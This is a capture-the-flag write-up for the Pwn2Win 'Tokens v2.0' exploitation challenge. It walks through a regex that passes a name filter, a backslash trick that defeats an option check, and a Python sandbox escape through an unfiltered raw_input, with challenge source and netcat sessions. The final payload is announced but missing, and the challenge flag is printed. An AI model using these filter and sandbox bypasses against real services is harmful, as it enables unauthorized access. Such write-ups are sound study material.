[Pwn] Pwn2Win - Tokens v2.0


Tokens v2.0

We have discovered that the upper echelon of Butcher Corp. uses a temporary token generator along with their brain chips as a form of 2FA(Two-Factor Authentication) for their most restricted systems. Our intel team got their source code, but we still haven’t got the seed right. We need you to get it for us, as we’re sure it will be useful for other systems! The name of one of this system’s users is “Dúfa van Tryggvadóttir”, vice president of the company.

Source Code:

Link

Mirror

Server: nc 200.136.213.114 4000

Id: tokens_v20

Total solves: 22

Score: 283

Categories: Exploitation

This exploitation challenge is about this python script:
https://pastebin.com/144yVeZF

This challenge has 3 steps to be solved:

1
2
3
1 - Find a regex that matches "Dúfa van Tryggvadóttir" with some restrictions.
2 - Bypass de options checks and run gen function.
3 - Bypass the Sand box and print the seed (Which was the flag).

Find a regex that matches “Dúfa van Tryggvadóttir” with some restrictions.

This is easy even with these restrictions:

1
2
3
4
5
6
7
limit = 22
if len(regex) > limit:
print "What kind of name is yours?"
exit()

tmp = re.findall("[^A-z+]", regex)
tmp1 = re.findall("[\[\]]", regex)

The first regex matches every single character not present in the list below [^A-z+]:

  • A-z a single character in the range between A (index _65_) and z (index 122) (case sensitive)
  • + matches the character + literally (case sensitive)

The second regex matches every single character present in the list below [\[\]]:

  • [ matches the character [ literally (case sensitive)
  • ] matches the character ] literally (case sensitive)

So we can use characters from index _65_ to index _122_ any others outside this range is forbidden(consult http://www.asciitable.com/index/asciifull.gif) and we can’t user [ or ] and a limit of 22 characters.

Our aproach to this step was easy to find something that was equivalent to the . character, which in regex means matching any character except for new line, we have the + character. We used the following regex:

If we test this in the binary we can see it worked!:

1
2
3
4
5
6
7
8
9
10
11
$ nc 200.136.213.114 4000
Hello! Log on to the Token Generation System
If your name is not on the authorized list, a notification will be generated!
For security reasons, NEVER type your literal name.
Type your regex-name to identify ([^\[\]][A-z+]): D\D+r

Hello, Vice-President!

[Open] - To create a new token
[Revoke] - To Revoke a token
Type the option:

Bypass de options checks and run gen function

This is the part of the code we need to analyse:

1
2
3
4
5
if role == "President" and "Open" in option or "Revoke" in option:
authorized = 1
else:
print "For now, only the president is allowed to generate tokens."
exit()

The first thing we have to do here is to choose Revoke, we don’t have the Presidents name so if we don’t want to exit the program, there will be a second check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if authorized:
print "\nFor security reasons, confirme your option!"
option = Option()
option_test = re.findall('[\w]+', option)
for s in option_test:
if s == "Open":
print "Mr. President, enable the option to generate tokens on the server."
exit()
elif s == "Revoke":
token = raw_input("Type your token serial: ").strip()
if len(token) > 4 or token.isdigit() != True:
print "Revise your token!"
exit()
else:
open = file("canceled-tokens.txt", "a")
time = datetime.now()
open.writelines("\nToken canceled at: %02d/%02d/%02d %02d:%02d:%02d:\n" % (time.month, time.day, time.year, time.hour, time.minute, time.second))
open.writelines(token)
open.close()
print "This will go through by a manual inspection, thank you Mr. " + role + "!"
exit()
else:
print "Incorrect option, please, try again!"

option = string(option)

As we can see above doesn’t matter what we choose we will always exit the program so what we do here? we need to find a trick, to bypass this and still have the option “Open” as we can see in the end they are removing all \ of the string in the final of the loop:

1
2
3
4
5
6
7
8
9
10
11
class string(object):

def __init__(self, string):
self.string = string

def strip(self):
test = re.findall(r"[\\\n\t\r]", self.string)
for i in test:
self.string = self.string.replace(i, "")

return self.string

And the calls:

1
2
3
4
        "Truncated code of the loop"
option = string(option)
if option.strip() == "Open":
gen()

This very useful! this removes newlines or \ characters! The regex expression that splits the string does this:

If we inject O\pen it will match the words O and pen and when we enter in the loop we won’t choose any of the options not exiting the program, after this the string class will help us getting the Open string!
If we do this we will run the gen function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nc 200.136.213.114 4000
Hello! Log on to the Token Generation System
If your name is not on the authorized list, a notification will be generated!
For security reasons, NEVER type your literal name.
Type your regex-name to identify ([^\[\]][A-z+]): D\D+r

Hello, Vice-President!

[Open] - To create a new token
[Revoke] - To Revoke a token
Type the option: Revoke

For security reasons, confirme your option!
[Open] - To create a new token
[Revoke] - To Revoke a token
Type the option: O\pen
Incorrect option, please, try again!
Incorrect option, please, try again!

Usage:
gen 'token serial number'

E.g.:
gen 2017

>>>

Bypass the Sand box and print the seed (Which was the flag)

First we have some characters we can’t use:

1
2
3
4
5
6
7
8
9
def validation(input):
err = int()
input = str(input)
nochrs = '[&*+-/34689?\<_>!@#`|$%;{}]'
if re.findall(nochrs, input): err = 1
else: err = 0

if not err: return 1
else: return 0

Analysing the regular expression we have:

The characters between the range _43_ and _47_ are:

We can’t use any of the characters above and there is more, we can’t use most of the built_in functions because they are being removed here:

1
2
3
4
5
6
7
def safe():
from sys import modules
modules.clear()
del modules
global input, compile, execfile, globals, vars, open, file, reload, __import__, locals, dir
input, compile, execfile, globals, vars, locals, open, file, reload, __import__, dir = None, None, None, None, None, None, None, None, None, None, None
__builtins__.dir = None

We tried hard to bypass and we couldn’t do it, we knew that we needed to run raw_input(seed) this function would print the seed for us unfortunately the _ character was filtered too, so we found this function within the code:

1
2
3
4
5
def Option():
print "[Open] - To create a new token"
print "[Revoke] - To Revoke a token"
opt = raw_input("Type the option: ")
return opt

This is perfect if we run gen Options() it will run another raw_input without any filters and then we can inject any character we want! Here is the example how to do it:

The flag was CTF-BR{fiev4zi3Nais7ue7aiSh}